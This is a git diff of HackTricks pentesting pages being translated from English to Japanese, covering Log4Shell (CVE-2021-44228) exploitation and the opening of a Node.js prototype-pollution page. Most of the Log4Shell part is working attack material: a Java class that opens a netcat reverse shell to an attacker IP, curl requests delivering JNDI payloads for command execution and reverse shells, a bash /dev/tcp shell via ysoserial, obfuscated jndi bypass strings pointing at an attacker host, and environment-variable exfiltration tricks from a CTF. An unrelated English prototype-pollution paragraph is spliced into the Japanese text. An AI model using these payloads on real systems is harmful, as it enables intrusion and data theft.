+この攻撃では、ツール[**marshalsec**](https://github.com/mbechler/marshalsec)([**ここからjarバージョンをダウンロード**](https://github.com/RandomRobbieBF/marshalsec-jar))を使用して、LDAPリファラルサーバーを作成し、接続をセカンダリHTTPサーバーにリダイレクトし、そこで攻撃が提供されます。 ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://:8000/#Exploit" ``` - -We want the victim to load the code that will send us a reverse shell, so you can create a java file called Exploit.java with the following content: +被害者に逆シェルを送信するコードを読み込ませたいので、以下の内容でExploit.javaという名前のJavaファイルを作成します。 {% code title="" %} ```java public class Exploit { - static { - try { - java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); - } catch (Exception e) { - e.printStackTrace(); - } - } +static { +try { +java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); +} catch (Exception e) { +e.printStackTrace(); +} +} } ``` {% endcode %} -Create the **class file** executing: `javac Exploit.java -source 8 -target 8` and then run a **HTTP server** in the same directory the class file was created: `python3 -m http.server`.\ -The **LDAP server from marshalsec should be pointing this HTTP server**.\ -Then, you can make the **vulnerable web server execute the exploit class** by sending a payload like: - +**クラスファイル**を作成するには、`javac Exploit.java -source 8 -target 8`を実行し、その後、クラスファイルが作成された同じディレクトリで**HTTPサーバー**を実行します:`python3 -m http.server`。\ +**marshalsecのLDAPサーバーは、このHTTPサーバーを指すように設定する必要があります**。\ +その後、脆弱なWebサーバーに対して以下のようなペイロードを送信することで、**エクスプロイトクラスを実行**させることができます: ```bash ${jndi:ldap://:1389/Exploit} ``` - -_Please, note that if Java is not configured to load remote codebase using LDAP, this custom exploit won’t work. In that case, you need to abuse a trusted class to execute arbitrary code._ - ### RCE - **JNDIExploit** {% hint style="info" %} -Note that for some reason the author removed this project from github after the discovery of log4shell. You can find a cached version in [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) but if you want to respect the decision of the author use a different method to exploit this vuln. - -Moreover, you cannot find the source code in wayback machine, so either analyse the source code, or execute the jar knowing that you don't know what you are executing. +JavaがLDAPを使用してリモートコードベースをロードするように設定されていない場合、このカスタムエクスプロイトは機能しません。その場合、信頼されたクラスを悪用して任意のコードを実行する必要があります。 {% endhint %} -For this example you can just run this **vulnerable web server to log4shell** in port 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in the README you will find how to run it_). This vulnerable app is logging with a vulnerable version of log4shell the content of the HTTP request header _X-Api-Version_. - -Then, you can download the **JNDIExploit** jar file and execute it with: +この例では、ポート8080でこの**log4shellの脆弱なウェブサーバー**を実行するだけでよいです: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEに実行方法が記載されています_)。この脆弱なアプリは、HTTPリクエストヘッダーの内容である_X-Api-Version_を脆弱なバージョンのlog4shellでログに記録しています。 +次に、**JNDIExploit**のjarファイルをダウンロードし、次のコマンドで実行します: ```bash wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` +コードを数分読んだ後、_com.feihong.ldap.LdapServer_と_com.feihong.ldap.HTTPServer_では、**LDAPサーバーとHTTPサーバーが作成される**方法がわかります。LDAPサーバーはどのペイロードを提供する必要があるかを理解し、被害者をHTTPサーバーにリダイレクトし、そこでエクスプロイトを提供します。\ +_com.feihong.ldap.gadgets_では、望ましいアクション(任意のコードを実行する可能性がある)を実行するために使用できる**特定のガジェット**が見つかります。そして、_com.feihong.ldap.template_では、エクスプロイトを**生成するための異なるテンプレートクラス**が表示されます。 -After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\ -In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**. - -You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are: - +**`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**で利用可能なすべてのエクスプロイトを確認できます。いくつかの便利なものは次のとおりです: ```bash ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/ReverseShell/[ip]/[port] # But there are a lot more ``` - -So, in our example, we already have that docker vulnerable app running. To attack it: - +したがって、この例では、すでに脆弱なDockerアプリが実行されているとします。攻撃するためには、以下の手順を実行します。 ```bash # Create a file inside of th vulnerable host: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' @@ -313,16 +277,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' ``` +攻撃を送信する際には、**JNDIExploit-1.2-SNAPSHOT.jar**を実行したターミナルでいくつかの出力が表示されます。 -When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**. - -**Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.** +他の攻撃オプションを確認するには、`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`をチェックしてください。また、LDAPとHTTPサーバーのポートを変更することもできます。 ### RCE - JNDI-Exploit-Kit -In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\ -You can generate the URLs to send to the victim running: - +前の攻撃と同様に、この脆弱性を悪用するために[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)を使用することもできます。\ +被害者に送信するためのURLを生成するには、次のコマンドを実行します: ```bash # Get reverse shell in port 4444 (only unix) java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 @@ -330,32 +292,26 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172. # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` - -_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this won’t generally work (as by default Java is not configured to load remote codebase using LDAP) I think because it’s not abusing a trusted class to execute arbitrary code._ +_このカスタム生成されたJavaオブジェクトを使用した攻撃は、**THMソーラールーム**のようなラボで動作します。ただし、これは一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように設定されていないためだと思われます)。これは、信頼されたクラスを悪用して任意のコードを実行するものではないためです。_ ### RCE - ysoserial & JNDI-Exploit-Kit -This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_). - -Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI: +このオプションは、**指定されたクラスのみを信頼し、すべてのクラスを信頼しないように構成されたJavaバージョン**を攻撃するのに非常に便利です。したがって、**ysoserial**を使用して、**信頼されたクラスのシリアライズ**を生成し、それをガジェットとして使用して**任意のコードを実行**することができます(_ysoserialによって悪用される信頼されたクラスは、エクスプロイトが機能するために被害者のJavaプログラムで使用される必要があります_)。 +**ysoserial**または[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)を使用すると、JNDIによってダウンロードされるデシリアライズエクスプロイトを作成できます。 ```bash # Rev shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser ``` - -Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines. You can server **different exploit that can be automatically generated** by the JNDI-Exploit-Kit or even your **own deserialization payloads** (generated by you or ysoserial). - +[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)を使用して、脆弱なマシンからの接続を待つための**JNDIリンク**を生成します。JNDI-Exploit-Kitによって自動的に生成される**さまざまなエクスプロイト**またはあなた自身やysoserialによって生成された**独自の逆シリアル化ペイロード**を提供することもできます。 ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser ``` - ![](<../../.gitbook/assets/image (642) (1) (1).png>) -Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`** - -### Bypasses +これで、生成されたJNDIリンクを使用して脆弱性を悪用し、**`${ldap://10.10.14.10:1389/generated}`**を脆弱なバージョンのlog4jに送信するだけで、**逆シェル**を簡単に取得できます。 +### バイパス方法 ```java ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/} ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/} @@ -367,8 +323,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ``` - -### Automatic Scanners +### 自動スキャナー * [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) * [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner) @@ -377,76 +332,71 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" * [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin) * [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner) * [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner) -* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries +* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - 脆弱なライブラリをローカルで検出する -### Labs to test +### テスト用のラボ -* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track) +* [**LogForge HTBマシン**](https://app.hackthebox.com/tracks/UHC-track) * [**Try Hack Me Solar room**](https://tryhackme.com/room/solar) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) -## Post-Log4Shell Exploitation +## Log4Shellの脆弱性を悪用した後 -In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**. +この[**CTFの解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**の一部の機能を**悪用**することが**可能**であることが詳しく説明されています。 -The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences: +Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文がいくつかあります: -> From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly. +> バージョン2.16.0(Java 8用)からは、**メッセージルックアップ機能が完全に削除**されました。**設定内のルックアップは引き続き機能します**。さらに、Log4jはデフォルトでJNDIへのアクセスを無効にします。設定内のJNDIルックアップを有効にする必要があります。 -> From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved. +> バージョン2.17.0(およびJava 7およびJava 6用の2.12.3および2.3.1)からは、**設定内のルックアップ文字列のみが再帰的に展開**されます。他の使用方法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。 -This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure. - -For example, in that CTF this was configured in the file log4j2.xml: +これは、デフォルトでは**`jndi`の脆弱性を使用することはできない**ことを意味します。さらに、**再帰的なルックアップ**を実行するには、それらを設定する必要があります。 +例えば、このCTFでは、次のようにlog4j2.xmlファイルで設定されていました: ```xml - - + + ``` - ### Env Lookups -In this CTF the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\ -As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios. +このCTFでは、攻撃者は`${sys:cmd}`の値を制御し、環境変数からフラグを外部に持ち出す必要がありました。[**前のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)のページで見られるように、**`${env:FLAG}`**などの異なる方法で環境変数にアクセスすることができます。このCTFではこれは役に立ちませんでしたが、他の現実のシナリオでは役に立つかもしれません。 ### Exfiltration in Exceptions -In the CTF, you **couldn't access the stderr** of the java application using log4J, but Log4J **exceptions are sent to stdout**, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: **`${java:${env:FLAG}}`.** This works because **`${java:CTF{blahblah}}`** doesn't exist and an exception with the value of the flag will be shown: +CTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスすることはできませんでしたが、Log4Jの例外はstdoutに送信され、Pythonアプリケーションで表示されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に持ち出すための例外は次のとおりです:**`${java:${env:FLAG}}`**。これは、**`${java:CTF{blahblah}}`**が存在せず、フラグの値が表示される例外が表示されるため機能します: ![](<../../.gitbook/assets/image (157).png>) ### Conversion Patterns Exceptions -Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example: +言及するだけですが、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)を注入し、`stdout`にログ出力される例外をトリガーすることもできます。例えば: ![](<../../.gitbook/assets/image (3) (2) (1) (1).png>) -This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting. +これは、エラーメッセージ内の日付を外部に持ち出すのには役に立ちませんでした。なぜなら、変換パターンよりもルックアップが先に解決されなかったからですが、検出などの他の用途には役立つかもしれません。 ### Conversion Patterns Regexes -However, it's possible to use some **conversion patterns that supports regexes** to exfiltrate information from a lookup by using regexes and abusing **binary search** or **time based** behaviours. +ただし、正規表現をサポートするいくつかの変換パターンを使用して、正規表現を使用してルックアップから情報を外部に持ち出すことが可能です。これは、**バイナリサーチ**または**時間ベース**の動作を濫用することができます。 -* **Binary search via exception messages** - -The conversion pattern **`%replace`** can be use to **replace** **content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\ -\`\`Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this: +* **例外メッセージを使用したバイナリサーチ** +変換パターン**`%replace`**は、**文字列**内の**コンテンツ**を**正規表現**を使用して**置換**するために使用できます。次のように機能します:`replace{pattern}{regex}{substitution}`\ +この動作を濫用することで、文字列内に正規表現が一致する場合には例外をトリガーし(一致しない場合は例外をトリガーしない)、次のようにします: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* ## and ONLY if it's found ${error} will be resolved with will trigger an exception ``` +* **タイムベース** -* **Time based** +前のセクションで述べたように、**`%replace`**は**正規表現**をサポートしています。したがって、[**ReDoSページ**](../regular-expression-denial-of-service-redos.md)からのペイロードを使用して、フラグが見つかった場合に**タイムアウト**を引き起こすことが可能です。\ +たとえば、`%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}`のようなペイロードは、そのCTFで**タイムアウト**を引き起こします。 -As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\ -For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF. - -In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response: +この[**解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、ReDoS攻撃ではなく、**増幅攻撃**を使用して応答の時間差を引き起こしました。 > ``` > /%replace{ @@ -463,13 +413,14 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} +> }{#}{######################################################} > ``` > -> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!** +> フラグが`flagGuess`で始まる場合、フラグ全体が29個の`#`で置き換えられます(この文字を使用したのは、おそらくフラグの一部ではないためです)。**その29個の`#`のそれぞれが54個の`#`で置き換えられます**。このプロセスは**6回繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208` `#`**が生成されます!** > -> Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code) +> これだけの数の`#`を置き換えると、Flaskアプリケーションの10秒タイムアウトが発生し、ユーザーにHTTPステータスコード500が送信されます(フラグが`flagGuess`で始まらない場合、非500のステータスコードが受信されます) -## References +## 参考文献 * [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) * [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/) @@ -484,10 +435,10 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md index 71ac53efd..d09ef36b0 100644 --- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md +++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md @@ -4,97 +4,117 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Objects in JavaScript +## JavaScriptのオブジェクト -First of all, we need to understand `Object`in JavaScript. An object is simply a collection of key and value pairs, often called properties of that object. For example: +まず、JavaScriptの`Object`を理解する必要があります。オブジェクトは、キーと値のペアのコレクションであり、しばしばそのオブジェクトのプロパティと呼ばれます。例えば: ![](<../../../.gitbook/assets/image (389) (1).png>) -In Javascript, `Object`is a basic object, the template for all newly created objects. It is possible to create an empty object by passing `null`to `Object.create`. However, the newly created object will also have a type that corresponds to the passed parameter and inherits all the basic properties. - +JavaScriptでは、`Object`は基本オブジェクトであり、新しく作成されたすべてのオブジェクトのテンプレートです。`Object.create`に`null`を渡すことで空のオブジェクトを作成することも可能です。ただし、新しく作成されたオブジェクトは、渡されたパラメータに対応する型を持ち、すべての基本プロパティを継承します。 ```javascript console.log(Object.create(null)); // prints an empty object ``` - ![](<../../../.gitbook/assets/image (360).png>) -Previously we learned that an Object in javascript is collection of keys and values, so it makes sense that a `null` object is just an empty dictionary: `{}` +以前、私たちはJavaScriptのオブジェクトがキーと値のコレクションであることを学びましたので、`null`オブジェクトは単なる空の辞書であることは理にかなっています: `{}` -## Functions / Classes in Javascript - -In Javascript, the concepts of the class and the function are quite interrelated (the function itself acts as the constructor for the class and the actual nature has no concept of “class” in javascript). Let’s see the following example: +## JavaScriptの関数/クラス +JavaScriptでは、クラスと関数の概念は非常に関連しています(関数自体がクラスのコンストラクタとして機能し、実際の性質ではJavaScriptには「クラス」の概念はありません)。次の例を見てみましょう: ```javascript function person(fullName, age) { - this.age = age; - this.fullName = fullName; - this.details = function() { - return this.fullName + " has age: " + this.age; - } +this.age = age; +this.fullName = fullName; +this.details = function() { +return this.fullName + " has age: " + this.age; +} } ``` - ![](<../../../.gitbook/assets/image (361).png>) +# Node.js Proto/Prototype Pollution + +Node.js applications that use user input to dynamically create objects can be vulnerable to Proto/Prototype Pollution attacks. This type of attack occurs when an attacker is able to modify the `__proto__` or `prototype` property of an object, leading to unexpected behavior or even remote code execution. + +## How does Proto/Prototype Pollution work? + +Proto/Prototype Pollution attacks take advantage of the way JavaScript handles object inheritance. In JavaScript, objects can inherit properties and methods from a prototype object. By modifying the `__proto__` or `prototype` property of an object, an attacker can inject malicious properties or modify existing ones. + +The impact of Proto/Prototype Pollution attacks can vary depending on the specific vulnerability. In some cases, it may lead to information disclosure, privilege escalation, or even remote code execution. + +## Exploiting Proto/Prototype Pollution in Node.js + +To exploit Proto/Prototype Pollution in a Node.js application, an attacker needs to identify a vulnerable function that uses user input to create objects. The attacker can then craft a payload that modifies the `__proto__` or `prototype` property of an object. + +There are several techniques that can be used to exploit Proto/Prototype Pollution in Node.js, including: + +- Modifying the `__proto__` property directly +- Modifying the `prototype` property of a constructor function +- Exploiting chained object creation + +## Prevention and Mitigation + +To prevent Proto/Prototype Pollution attacks in Node.js applications, it is important to follow secure coding practices: + +- Avoid using user input to dynamically create objects without proper validation and sanitization. +- Use a whitelist approach to validate and sanitize user input. +- Implement input validation and sanitization libraries, such as `validator.js` or `DOMPurify`. +- Keep Node.js and its dependencies up to date to benefit from security patches. + +By following these best practices, you can reduce the risk of Proto/Prototype Pollution vulnerabilities in your Node.js applications. ```javascript var person1 = new person("Satoshi", 70); ``` - ![](<../../../.gitbook/assets/image (362).png>) -## Prototypes in JavaScript +## JavaScriptにおけるプロトタイプ -One thing to note is that the prototype attribute can be changed/modified/deleted when executing the code. For example functions to the class can be dynamically added: +注意すべき一つのことは、コードを実行する際にプロトタイプ属性を変更/修正/削除することができるということです。例えば、クラスに関数を動的に追加することができます。 ![](<../../../.gitbook/assets/image (363).png>) -Functions of the class can also be modified (like `toString` or `valueOf` the following cases): +クラスの関数も変更することができます(`toString`や`valueOf`などの場合): ![](<../../../.gitbook/assets/image (364).png>) ![](<../../../.gitbook/assets/image (365).png>) -## Inheritance +## 継承 -In a prototype-based program, objects inherit properties/methods from classes. The classes are derived by adding properties/methods to an instance of another class or by adding them to an empty object. +プロトタイプベースのプログラムでは、オブジェクトはクラスからプロパティ/メソッドを継承します。クラスは、他のクラスのインスタンスにプロパティ/メソッドを追加するか、空のオブジェクトに追加することで派生します。 -Note that, if you add a property to an object that is used as the prototype for a set of objects (like the myPersonObj), the objects for which it is the prototype also get the new property, but that property is not printed unless specifically called on. +注意点として、オブジェクトにプロパティを追加する場合(例:myPersonObj)、そのプロトタイプとして使用されるオブジェクトのセットに対しても新しいプロパティが追加されますが、そのプロパティは明示的に呼び出されない限り表示されません。 ![](<../../../.gitbook/assets/image (366).png>) -## \_\_proto\_\_ pollution +## \_\_proto\_\_の汚染 -You should have already learned that **every object in JavaScript is simply a collection of key and value** pairs and that **every object inherits from the Object type in JavaScript**. This means that if you are able to pollute the Object type **each JavaScript object of the environment is going to be polluted!** - -This is fairly simple, you just need to be able to modify some properties (key-value pairs) from and arbitrary JavaScript object, because as each object inherits from Object, each object can access Object scheme. +すでに学んだとおり、**JavaScriptのすべてのオブジェクトは単にキーと値のコレクション**であり、**すべてのオブジェクトはJavaScriptのObject型から継承**されることを覚えておく必要があります。これはつまり、Object型を汚染することができれば、**環境内のすべてのJavaScriptオブジェクトが汚染される**ということです! +これは非常にシンプルで、任意のJavaScriptオブジェクトのいくつかのプロパティ(キーと値のペア)を変更できれば良いだけです。なぜなら、各オブジェクトはObjectから継承しているため、各オブジェクトはObjectのスキーマにアクセスできるからです。 ```javascript function person(fullName) { - this.fullName = fullName; +this.fullName = fullName; } var person1 = new person("Satoshi"); ``` - -From the previous example it's possible to access the structure of Object using the following ways: - 